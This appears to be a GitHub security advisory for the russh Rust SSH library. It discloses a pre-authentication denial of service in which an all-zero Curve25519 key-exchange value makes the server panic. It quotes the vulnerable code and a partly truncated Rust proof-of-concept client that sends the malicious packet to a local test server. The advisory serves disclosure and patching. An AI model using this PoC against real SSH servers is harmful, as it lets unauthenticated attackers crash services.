GitHub Advisoryadvisory · crates.io

GHSA-5xvq-cp9x-6p6r Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

MEDIUM Published 2026-07-24 Modified 2026-08-12 Official page ↗
Aliases
CVE-2026-73430
Ecosystem
crates.io
Packages
russh
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-754
Reviewed
2026-07-24

Affected packages

• crates.io russh: < 0.62.4 → fixed in 0.62.4

Description

A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit `c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as of 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT` whose `Q_C` is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so `server_dh()` computes the all-zero shared secret and `compute_exchange_hash()` then calls `encode_mpint(&shared.0, ...)`, which indexes `s[i]` at `i == s.len()` and panics (`index out of bounds: the len is 32 but the index is 32`) before host-key signature verification. The server KEX task dies on the first KEX message, before authentication. This is reachable with the default server configuration (`Config::default()` → `Preferred::DEFAULT`, whose kex list includes `curve25519-sha256`) and requires no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on `main` HEAD (`v0.62.3`, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519). Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service. Details `russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client): ```rust fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result { // only the 32-byte length is checked, NOT zero / low-order: let mut pubkey = MontgomeryPoint([0; 32]); pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73 ... let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32] self.shared_secret = Some(shared); // line 86 Ok(()) } ``` The server then computes the exchange hash before verifying the host-key signature (`russh/src/server/kex.rs`): ```rust kex.server_dh(exchange, &input.buffer)?; // line 247 ... let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics ``` `compute_exchange_hash()` calls `encode_mpint(&shared.0, buffer)`, whose leading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]` (`russh/src/kex/mod.rs`): ```rust pub(crate) fn encode_mpint(s: &[u8], w: &mut W) -> Result { let mut i = 0; while i SSH_MSG_KEXINIT offering // curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes. // The server drives the real path server_dh -> compute_exchange_hash -> // encode_mpint and panics. A CONTROL case with a random Q_C completes kex. use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; use byteorder::{BigEndian, ByteOrder}; use russh::server::{self, Handler}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::{TcpListener, TcpStream}; const MSG_KEXINIT: u8 = 20; const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3 const MSG_KEX_ECDH_REPLY: u8 = 31; [tokio::main] async fn main() { println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n"); let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await; println!(); let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await; println!("\n=== summary ==="); println!("case | server panicked | got ECDH_REPLY"); println!("ATTACK | {atk_panic: CONFIRMED (end-to-end, real russh 0.62.2):"); println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the"); println!(" all-zero Curve25519 point makes the real russh server panic"); println!(" inside encode_mpint (index out of bounds: len 32, index 32)"); println!(" during compute_exchange_hash, BEFORE host-key verification."); } else { eprintln!("NOT reproduced"); std::process::exit(1); } } enum QcKind { AllZero, Random } async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) { let panicked = Arc::new(AtomicBool::new(false)); { let flag = panicked.clone(); let prev = std::panic::take_hook(); std::panic::set_hook(Box::new(move |info| { flag.store(true, Ordering::SeqCst); eprintln!("[{label} server task panicked] {info}"); prev(info); })); } // real russh server, DEFAULT config (curve25519-sha256 in the kex list) // + real Ed25519 host key. let mut config = server::Config::default(); config.inactivity_timeout = None; config.auth_rejection_time = std::time::Duration::from_millis(1); config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1)); config.keys.push( russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(), ); let config = Arc::new(config); let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let addr = listener.local_addr().unwrap(); let server_task = tokio::spawn(async move { let (socket, _peer) = listener.accept().await.unwrap(); let session = server::run_stream(config, socket, NoopHandler).await.unwrap(); session.await }); // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C) let mut s = TcpStream::connect(addr).await.unwrap(); s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap(); s.flush().await.unwrap(); let _server_id = read_ssh_id(&mut s).await.unwrap(); let _server_kexinit = read_packet(&mut s).await.unwrap(); s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap(); s.flush().await.unwrap(); let q_c: [u8; 32] = match qc { QcKind::AllZero => [0u8; 32], QcKind::Random => { let mut b: [u8; 32] = rand::random(); if b.iter().all(|&x| x == 0) { b[0] = 1; } b } }; let mut ecdh_init = Vec::new(); ecdh_init.push(…

Related

Alias · CVE (1)

  • CVE-2026-73430 Russh is a Rust SSH client & server library. vulnerability

Weakness · CWE (1)

  • CWE-754 Improper Check for Unusual or Exceptional Conditions weakness

References